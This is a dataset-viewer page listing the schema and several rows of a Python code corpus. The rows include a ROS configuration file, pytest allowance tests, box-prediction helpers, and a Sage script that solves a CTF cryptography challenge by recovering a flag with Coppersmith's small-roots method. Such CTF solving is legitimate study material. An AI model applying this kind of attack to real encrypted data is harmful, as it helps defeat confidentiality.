Datasets:
xszheng2020
/
the_stack_dedup_python_hits_7

Dataset card Data Studio Files
xet
Community
1
hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
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string
max_stars_repo_head_hexsha
string
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list
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int64
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string
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string
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string
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string
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string
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int64
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string
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string
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string
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string
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string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
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float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
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float64
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float64
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qsc_code_frac_chars_string_length_quality_signal
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qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
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int64
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int64
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int64
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int64
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int64
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int64
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int64
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int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
b28be43846b5cc3d6814460abadf6f86dd8e6f93
12,247
py
Python
crypto/Irreducible/solve.sage.py
Enigmatrix/hats-ctf-2019
0dc1b9a5a4583c81b5f1b7bce0cbb9bd0fd2b192
[ "MIT" ]
5
2019-10-04T07:20:37.000Z
2021-06-15T21:34:07.000Z
crypto/Irreducible/solve.sage.py
Enigmatrix/hats-ctf-2019
0dc1b9a5a4583c81b5f1b7bce0cbb9bd0fd2b192
[ "MIT" ]
null
null
null
crypto/Irreducible/solve.sage.py
Enigmatrix/hats-ctf-2019
0dc1b9a5a4583c81b5f1b7bce0cbb9bd0fd2b192
[ "MIT" ]
null
null
null
# This file was *autogenerated* from the file solve.sage from sage.all_cmdline import * # import sage library _sage_const_1 = Integer(1); _sage_const_0 = Integer(0); _sage_const_8 = Integer(8); _sage_const_0x100 = Integer(0x100); _sage_const_634390332758544863533225908175278820293902247273694738557279808547507605605243060845779162007453421166537998974798267403165147194326220277087481586732434578483984382044909938217885300325454854003592061285530227347443870161489884108156839152026792175883344824312705039432192788282221751953071400637582212565973825187901493157747810534534782538666139623239849108114074769483176190409077525619642607096659163938064917619080979276653346570460907840530820984090762890328670108372635266804760702260308210468824054785225609704744553702749030883759302514419732475353237265623064175672626973021817721830057157554469942016659636665088355223388001385492075532645512044699024856214047179824353294265985131421311264905683919868689468128201121500051333234294495133322269575003178917846613019513055294938676473347834648859092781820455177396655659241350758080943209448657069860156330266182595425071785597749584755392149850520201502359380960953028168070443739303437501159547492090284199748847031233395048565256094155871209024910665765470210489150199890408963339584734607161548145948117870587381417761820782604845894085527393326561552255285252183775565605213613851508658068982312542266745844181179298681513229587620814341358546533028653639404063795287 = Integer(634390332758544863533225908175278820293902247273694738557279808547507605605243060845779162007453421166537998974798267403165147194326220277087481586732434578483984382044909938217885300325454854003592061285530227347443870161489884108156839152026792175883344824312705039432192788282221751953071400637582212565973825187901493157747810534534782538666139623239849108114074769483176190409077525619642607096659163938064917619080979276653346570460907840530820984090762890328670108372635266804760702260308210468824054785225609704744553702749030883759302514419732475353237265623064175672626973021817721830057157554469942016659636665088355223388001385492075532645512044699024856214047179824353294265985131421311264905683919868689468128201121500051333234294495133322269575003178917846613019513055294938676473347834648859092781820455177396655659241350758080943209448657069860156330266182595425071785597749584755392149850520201502359380960953028168070443739303437501159547492090284199748847031233395048565256094155871209024910665765470210489150199890408963339584734607161548145948117870587381417761820782604845894085527393326561552255285252183775565605213613851508658068982312542266745844181179298681513229587620814341358546533028653639404063795287); _sage_const_340380243606881896055357150852081704009261841875676917168392901542600158697498147470022070926431538973355986319287899336229347984195186235609026994105880539538744385947844002522392600799291123746788307149592202054293542184751426393921386667054337702133605244653857105200184382184314615395089410386837949991463800365032817120047755695213056898358351029050988904465534196504370647057949656041980136093701111673261061362088910159060407069111138148213911184934346030355108818623873406179170643354109575921906069827319176721391148784597815966696725312993112836679580986301915869285153640258800257520387666039815335882682501846764931914005501272890703979399028303286591392295335090668894416007738581234420317705017602185505796952708538056986900927227219010924990687749054202059611121098007196600311153002496535400678852675523633611129751070279014895782742719230859241266618078080591783496208454660896116326742901368549176280950824427940866633550004165659591555809355785250595678271198087444 = Integer(340380243606881896055357150852081704009261841875676917168392901542600158697498147470022070926431538973355986319287899336229347984195186235609026994105880539538744385947844002522392600799291123746788307149592202054293542184751426393921386667054337702133605244653857105200184382184314615395089410386837949991463800365032817120047755695213056898358351029050988904465534196504370647057949656041980136093701111673261061362088910159060407069111138148213911184934346030355108818623873406179170643354109575921906069827319176721391148784597815966696725312993112836679580986301915869285153640258800257520387666039815335882682501846764931914005501272890703979399028303286591392295335090668894416007738581234420317705017602185505796952708538056986900927227219010924990687749054202059611121098007196600311153002496535400678852675523633611129751070279014895782742719230859241266618078080591783496208454660896116326742901368549176280950824427940866633550004165659591555809355785250595678271198087444); _sage_const_30 = Integer(30) n = _sage_const_634390332758544863533225908175278820293902247273694738557279808547507605605243060845779162007453421166537998974798267403165147194326220277087481586732434578483984382044909938217885300325454854003592061285530227347443870161489884108156839152026792175883344824312705039432192788282221751953071400637582212565973825187901493157747810534534782538666139623239849108114074769483176190409077525619642607096659163938064917619080979276653346570460907840530820984090762890328670108372635266804760702260308210468824054785225609704744553702749030883759302514419732475353237265623064175672626973021817721830057157554469942016659636665088355223388001385492075532645512044699024856214047179824353294265985131421311264905683919868689468128201121500051333234294495133322269575003178917846613019513055294938676473347834648859092781820455177396655659241350758080943209448657069860156330266182595425071785597749584755392149850520201502359380960953028168070443739303437501159547492090284199748847031233395048565256094155871209024910665765470210489150199890408963339584734607161548145948117870587381417761820782604845894085527393326561552255285252183775565605213613851508658068982312542266745844181179298681513229587620814341358546533028653639404063795287 a = [2010531849014807811244967452550596954170482017366963197179967378341950609877035976926266565045201327954545531976193764010455839462214548125935809831930906217583985144556304000068160287029349520299624614834820614980577571769037952453503904780829945902428777023113240343971798255994725602060032080395165249252118203994597989803323008689445738726958316299382843046151379404223038378306103446946814242282508452762994709381767737020005234626341549245619459606877141219867068035139077696570326679785895561991386159948678734295510819110097778649467477026525304571866935401916133281154191128385628924010309987916939562860944L, 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10138853565592015105460349391824630041349301782955976098151452306601942132992939175760470023847252810478352651882007892229451212768112510921391523329570278170494870876172217466315580044877833446334271653752234487178668899095662633037386537755400120340774679512511394968940579253203708322989582269535699783805149252869744882348496667131258430507421739826457730921423784937910140043747774058768492858149057261161659337718982175323365787375263797780804084574556765866310528969548165524609215368165479974192219642551585795556561156118984108183820103401463673813278192939446726782671210175154550709092578352646292397148695L, 2705289074015868556495876116122034778419482000649816956762698090011178447945290332666191814319874892445968692874942151089591538419047230200250130537360543283500874358388021915731700617342644182770696524538105308332591350174568506946526824286428046901094088052777906597555877816895182575842954717583238668932627003103765051957703661539717838484368046549711819678603390137497777321547780661184734527888712946398571068227748473417068659665911823063293642880605380887346392751759275385749252422803713137333278390979373269487140753614904363290566511431042967664299521308911436294095767853420126884677960454179566849947911L, 32255664078313921987277419379096806499011603256554039416290254881793020312519926307527921519979634759557831587219841583766017314943677339008869153819229665461685884451017771930587031347299979562059056085002308162520099267712782084503108260647689403237182131017247206190667209194033633402951334606382904942572174996868542183284017683810713524436317515257997599861313148353141712577673062302740163653303306191436502370962209436722553506417051271738096885658139454947332529520834452755246989316977226513412490778345898961230442523579466541698292139280562767818413666760816022286886124820077034842996907566401674181684192L] enc = _sage_const_340380243606881896055357150852081704009261841875676917168392901542600158697498147470022070926431538973355986319287899336229347984195186235609026994105880539538744385947844002522392600799291123746788307149592202054293542184751426393921386667054337702133605244653857105200184382184314615395089410386837949991463800365032817120047755695213056898358351029050988904465534196504370647057949656041980136093701111673261061362088910159060407069111138148213911184934346030355108818623873406179170643354109575921906069827319176721391148784597815966696725312993112836679580986301915869285153640258800257520387666039815335882682501846764931914005501272890703979399028303286591392295335090668894416007738581234420317705017602185505796952708538056986900927227219010924990687749054202059611121098007196600311153002496535400678852675523633611129751070279014895782742719230859241266618078080591783496208454660896116326742901368549176280950824427940866633550004165659591555809355785250595678271198087444 P = PolynomialRing(Zmod(n), implementation='NTL', names=('x',)); (x,) = P._first_ngens(1) f = -enc for i in range(_sage_const_8 ): f += a[i] * x**i f /= a[-_sage_const_1 ] print Integer(f.small_roots(X=_sage_const_0x100 **_sage_const_30 )[_sage_const_0 ]).hex().decode('hex')
720.411765
4,960
0.983588
119
12,247
100.840336
0.428571
0.0105
0.001667
0
0
0
0
0
0
0
0
0.955559
0.007839
12,247
16
4,961
765.4375
0.032014
0.006042
0
0
1
0
0.000575
0
0
1
0.000411
0
0
0
null
null
0
0.090909
null
null
0.090909
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
1
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null
1
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1
0
0
0
0
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0
0
0
8
b2941ee4f320aad7f403ab15068d28550accf5a9
10,621
py
Python
RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/costmap_converter/cfg/CostmapToDynamicObstaclesConfig.py
QianheYu/xtark_driver_dev
1708888161cf20c0d1f45c99d0da4467d69c26c8
[ "BSD-3-Clause" ]
1
2022-03-11T03:31:15.000Z
2022-03-11T03:31:15.000Z
RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/costmap_converter/cfg/CostmapToDynamicObstaclesConfig.py
bravetree/xtark_driver_dev
1708888161cf20c0d1f45c99d0da4467d69c26c8
[ "BSD-3-Clause" ]
null
null
null
RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/costmap_converter/cfg/CostmapToDynamicObstaclesConfig.py
bravetree/xtark_driver_dev
1708888161cf20c0d1f45c99d0da4467d69c26c8
[ "BSD-3-Clause" ]
null
null
null
## ********************************************************* ## ## File autogenerated for the costmap_converter package ## by the dynamic_reconfigure package. ## Please do not edit. ## ## ********************************************************/ from dynamic_reconfigure.encoding import extract_params inf = float('inf') config_description = {'upper': 'DEFAULT', 'lower': 'groups', 'srcline': 245, 'name': 'Default', 'parent': 0, 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'cstate': 'true', 'parentname': 'Default', 'class': 'DEFAULT', 'field': 'default', 'state': True, 'parentclass': '', 'groups': [], 'parameters': [{'srcline': 290, 'description': 'Foreground detection: Learning rate of the slow filter', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'alpha_slow', 'edit_method': '', 'default': 0.3, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Foreground detection: Learning rate of the fast filter', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'alpha_fast', 'edit_method': '', 'default': 0.85, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Foreground detection: Weighting coefficient between a pixels value and the mean of its nearest neighbors', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'beta', 'edit_method': '', 'default': 0.85, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Foreground detection: Minimal difference between the fast and the slow filter to recognize a obstacle as dynamic', 'max': 255, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_sep_between_slow_and_fast_filter', 'edit_method': '', 'default': 80, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Foreground detection: Minimal value of the fast filter to recognize a obstacle as dynamic', 'max': 255, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_occupancy_probability', 'edit_method': '', 'default': 180, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Foreground detection: Maximal mean value of the nearest neighbors of a pixel in the slow filter', 'max': 255, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_occupancy_neighbors', 'edit_method': '', 'default': 80, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Foreground detection: Size of the structuring element for the closing operation', 'max': 10, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'morph_size', 'edit_method': '', 'default': 1, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Include static obstacles as single-point polygons', 'max': True, 'cconsttype': 'const bool', 'ctype': 'bool', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'publish_static_obstacles', 'edit_method': '', 'default': True, 'level': 0, 'min': False, 'type': 'bool'}, {'srcline': 290, 'description': 'Blob detection: Minimal distance between centers of two blobs to be considered as seperate blobs', 'max': 300.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_distance_between_blobs', 'edit_method': '', 'default': 10.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Filter blobs based on number of pixels', 'max': True, 'cconsttype': 'const bool', 'ctype': 'bool', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'filter_by_area', 'edit_method': '', 'default': True, 'level': 0, 'min': False, 'type': 'bool'}, {'srcline': 290, 'description': 'Blob detection: Minimal number of pixels a blob consists of', 'max': 300, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_area', 'edit_method': '', 'default': 3, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Blob detection: Maximal number of pixels a blob consists of', 'max': 300, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_area', 'edit_method': '', 'default': 300, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Blob detection: Filter blobs based on their circularity', 'max': True, 'cconsttype': 'const bool', 'ctype': 'bool', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'filter_by_circularity', 'edit_method': '', 'default': True, 'level': 0, 'min': False, 'type': 'bool'}, {'srcline': 290, 'description': 'Blob detection: Minimal circularity value (0 in case of a line)', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_circularity', 'edit_method': '', 'default': 0.2, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Maximal circularity value (1 in case of a circle)', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_circularity', 'edit_method': '', 'default': 1.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Filter blobs based on their inertia ratio', 'max': True, 'cconsttype': 'const bool', 'ctype': 'bool', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'filter_by_inertia', 'edit_method': '', 'default': True, 'level': 0, 'min': False, 'type': 'bool'}, {'srcline': 290, 'description': 'Blob detection: Minimal inertia ratio', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_inertia_ratio', 'edit_method': '', 'default': 0.2, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Maximal inertia ratio', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_inertia_ratio', 'edit_method': '', 'default': 1.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Filter blobs based on their convexity (Blob area / area of its convex hull)', 'max': True, 'cconsttype': 'const bool', 'ctype': 'bool', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'filter_by_convexity', 'edit_method': '', 'default': False, 'level': 0, 'min': False, 'type': 'bool'}, {'srcline': 290, 'description': 'Blob detection: Minimum convexity ratio', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'min_convexity', 'edit_method': '', 'default': 0.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Blob detection: Maximal convexity ratio', 'max': 1.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_convexity', 'edit_method': '', 'default': 1.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Tracking: Time for one timestep of the kalman filter', 'max': 3.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'dt', 'edit_method': '', 'default': 0.2, 'level': 0, 'min': 0.1, 'type': 'double'}, {'srcline': 290, 'description': 'Tracking: Maximum distance between two points to be considered in the assignment problem', 'max': 150.0, 'cconsttype': 'const double', 'ctype': 'double', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'dist_thresh', 'edit_method': '', 'default': 20.0, 'level': 0, 'min': 0.0, 'type': 'double'}, {'srcline': 290, 'description': 'Tracking: Maximum number of frames a object is tracked while it is not seen', 'max': 10, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_allowed_skipped_frames', 'edit_method': '', 'default': 3, 'level': 0, 'min': 0, 'type': 'int'}, {'srcline': 290, 'description': 'Tracking: Maximum number of Points in a objects trace', 'max': 100, 'cconsttype': 'const int', 'ctype': 'int', 'srcfile': '/opt/ros/kinetic/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py', 'name': 'max_trace_length', 'edit_method': '', 'default': 10, 'level': 0, 'min': 1, 'type': 'int'}], 'type': '', 'id': 0} min = {} max = {} defaults = {} level = {} type = {} all_level = 0 #def extract_params(config): # params = [] # params.extend(config['parameters']) # for group in config['groups']: # params.extend(extract_params(group)) # return params for param in extract_params(config_description): min[param['name']] = param['min'] max[param['name']] = param['max'] defaults[param['name']] = param['default'] level[param['name']] = param['level'] type[param['name']] = param['type'] all_level = all_level | param['level']
287.054054
9,740
0.687412
1,398
10,621
5.110157
0.12804
0.070549
0.047312
0.072788
0.755879
0.75238
0.74944
0.737682
0.737682
0.717945
0
0.029722
0.097166
10,621
36
9,741
295.027778
0.715299
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1.625
0.697617
0.257378
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false
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null
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10
a251d2ec0a2233b42481daef96e8fcd29f195be8
145
py
Python
src/credo_cf/classification/__init__.py
dzwiedziu-nkg/credo-classify-framework
45417b505b4f4b20a7248f3487ca57a3fd49ccee
[ "MIT" ]
null
null
null
src/credo_cf/classification/__init__.py
dzwiedziu-nkg/credo-classify-framework
45417b505b4f4b20a7248f3487ca57a3fd49ccee
[ "MIT" ]
null
null
null
src/credo_cf/classification/__init__.py
dzwiedziu-nkg/credo-classify-framework
45417b505b4f4b20a7248f3487ca57a3fd49ccee
[ "MIT" ]
3
2020-06-19T15:41:19.000Z
2020-06-29T12:47:05.000Z
from credo_cf.classification.artifact import * from credo_cf.classification.preprocess import * from credo_cf.classification.clustering import *
36.25
48
0.855172
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145
6.722222
0.444444
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0.272727
0.619835
0.512397
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0.082759
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3
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0
8
a268adc5b8b7848ffb5e6631c348ba5eacc1ab13
2,403
py
Python
tests/unitary/RewardsOnlyGauge/test_approve.py
AqualisDAO/curve-dao-contracts
beec73a068da8ed01c0f710939dc5adb776d565b
[ "MIT" ]
217
2020-06-24T14:01:21.000Z
2022-03-29T08:35:24.000Z
tests/unitary/RewardsOnlyGauge/test_approve.py
AqualisDAO/curve-dao-contracts
beec73a068da8ed01c0f710939dc5adb776d565b
[ "MIT" ]
25
2020-06-24T09:39:02.000Z
2022-03-22T17:03:00.000Z
tests/unitary/RewardsOnlyGauge/test_approve.py
AqualisDAO/curve-dao-contracts
beec73a068da8ed01c0f710939dc5adb776d565b
[ "MIT" ]
110
2020-07-10T22:45:49.000Z
2022-03-29T02:51:08.000Z
import pytest @pytest.mark.parametrize("idx", range(5)) def test_initial_approval_is_zero(rewards_only_gauge, accounts, idx): assert rewards_only_gauge.allowance(accounts[0], accounts[idx]) == 0 def test_approve(rewards_only_gauge, accounts): rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[1]) == 10 ** 19 def test_modify_approve(rewards_only_gauge, accounts): rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) rewards_only_gauge.approve(accounts[1], 12345678, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[1]) == 12345678 def test_revoke_approve(rewards_only_gauge, accounts): rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) rewards_only_gauge.approve(accounts[1], 0, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[1]) == 0 def test_approve_self(rewards_only_gauge, accounts): rewards_only_gauge.approve(accounts[0], 10 ** 19, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[0]) == 10 ** 19 def test_only_affects_target(rewards_only_gauge, accounts): rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[1], accounts[0]) == 0 def test_returns_true(rewards_only_gauge, accounts): tx = rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) assert tx.return_value is True def test_approval_event_fires(accounts, rewards_only_gauge): tx = rewards_only_gauge.approve(accounts[1], 10 ** 19, {"from": accounts[0]}) assert len(tx.events) == 1 assert tx.events["Approval"].values() == [accounts[0], accounts[1], 10 ** 19] def test_increase_allowance(accounts, rewards_only_gauge): rewards_only_gauge.approve(accounts[1], 100, {"from": accounts[0]}) rewards_only_gauge.increaseAllowance(accounts[1], 403, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[1]) == 503 def test_decrease_allowance(accounts, rewards_only_gauge): rewards_only_gauge.approve(accounts[1], 100, {"from": accounts[0]}) rewards_only_gauge.decreaseAllowance(accounts[1], 34, {"from": accounts[0]}) assert rewards_only_gauge.allowance(accounts[0], accounts[1]) == 66
36.409091
81
0.729921
335
2,403
4.979104
0.149254
0.204436
0.297362
0.151679
0.736811
0.736811
0.736811
0.736811
0.684053
0.651079
0
0.057265
0.120682
2,403
65
82
36.969231
0.732134
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0.305556
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0.277778
false
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1
0
0
0
0
0
0
0
7
a2edea30c0c984fb98ee3f06934a11216aa7c92b
1,612
py
Python
source/02_ssd_large/lib/predict.py
toshi-k/kaggle-3d-object-detection-for-autonomous-vehicles
af2e0db16281fb997a9bd5149c478095128a627e
[ "MIT" ]
24
2019-11-28T05:54:58.000Z
2021-06-14T07:38:30.000Z
source/03_ssd_small/lib/predict.py
toshi-k/kaggle-3d-object-detection-for-autonomous-vehicles
af2e0db16281fb997a9bd5149c478095128a627e
[ "MIT" ]
null
null
null
source/03_ssd_small/lib/predict.py
toshi-k/kaggle-3d-object-detection-for-autonomous-vehicles
af2e0db16281fb997a9bd5149c478095128a627e
[ "MIT" ]
5
2019-12-06T05:59:32.000Z
2021-09-16T13:30:29.000Z
def predict_boxes(input_tensor, i, x, y, b=0): assignment = input_tensor[b, 17 * i: 17 * i + 10, x, y] predict_x = input_tensor[b, 17 * i + 10, x, y] predict_y = input_tensor[b, 17 * i + 11, x, y] predict_length = input_tensor[b, 17 * i + 12, x, y] predict_width = input_tensor[b, 17 * i + 13, x, y] predict_rotate = input_tensor[b, 17 * i + 16, x, y] return assignment, predict_x, predict_y, predict_length, predict_width, predict_rotate def predict_boxes_numpy(input_tensor, i, x, y): assignment = input_tensor[17 * i: 17 * i + 10, x, y] predict_x = input_tensor[17 * i + 10, x, y] predict_y = input_tensor[17 * i + 11, x, y] predict_length = input_tensor[17 * i + 12, x, y] predict_width = input_tensor[17 * i + 13, x, y] predict_rotate = input_tensor[17 * i + 16, x, y] return assignment, predict_x, predict_y, predict_length, predict_width, predict_rotate def predict_boxes_numpy_3d(input_tensor, i, x, y): assignment = input_tensor[17 * i: 17 * i + 10, x, y] predict_x = input_tensor[17 * i + 10, x, y] predict_y = input_tensor[17 * i + 11, x, y] predict_length = input_tensor[17 * i + 12, x, y] predict_width = input_tensor[17 * i + 13, x, y] predict_z = input_tensor[17 * i + 14, x, y] predict_height = input_tensor[17 * i + 15, x, y] predict_rotate = input_tensor[17 * i + 16, x, y] return assignment, predict_x, predict_y, predict_length, predict_width, predict_rotate, predict_z, predict_height def predict_assignment(input_tensor, i, x, y): return input_tensor[17 * i: 17 * i + 10, x, y]
35.822222
117
0.649504
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1,612
3.554348
0.097826
0.280326
0.155963
0.214067
0.873598
0.827727
0.827727
0.827727
0.827727
0.686035
0
0.0752
0.224566
1,612
44
118
36.636364
0.7096
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0.035714
0.285714
0
0
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0
null
1
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1
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1
1
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null
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0
0
0
0
0
0
0
0
8
0c02bf843c0549e3e5cc24fb817c8a796dcedd7f
16,898
py
Python
mayan/apps/document_states/tests/mixins/workflow_template_transition_mixins.py
bonitobonita24/Mayan-EDMS
7845fe0e1e83c81f5d227a16116397a3d3883b85
[ "Apache-2.0" ]
343
2015-01-05T14:19:35.000Z
2018-12-10T19:07:48.000Z
mayan/apps/document_states/tests/mixins/workflow_template_transition_mixins.py
bonitobonita24/Mayan-EDMS
7845fe0e1e83c81f5d227a16116397a3d3883b85
[ "Apache-2.0" ]
191
2015-01-03T00:48:19.000Z
2018-11-30T09:10:25.000Z
mayan/apps/document_states/tests/mixins/workflow_template_transition_mixins.py
bonitobonita24/Mayan-EDMS
7845fe0e1e83c81f5d227a16116397a3d3883b85
[ "Apache-2.0" ]
114
2015-01-08T20:21:05.000Z
2018-12-10T19:07:53.000Z
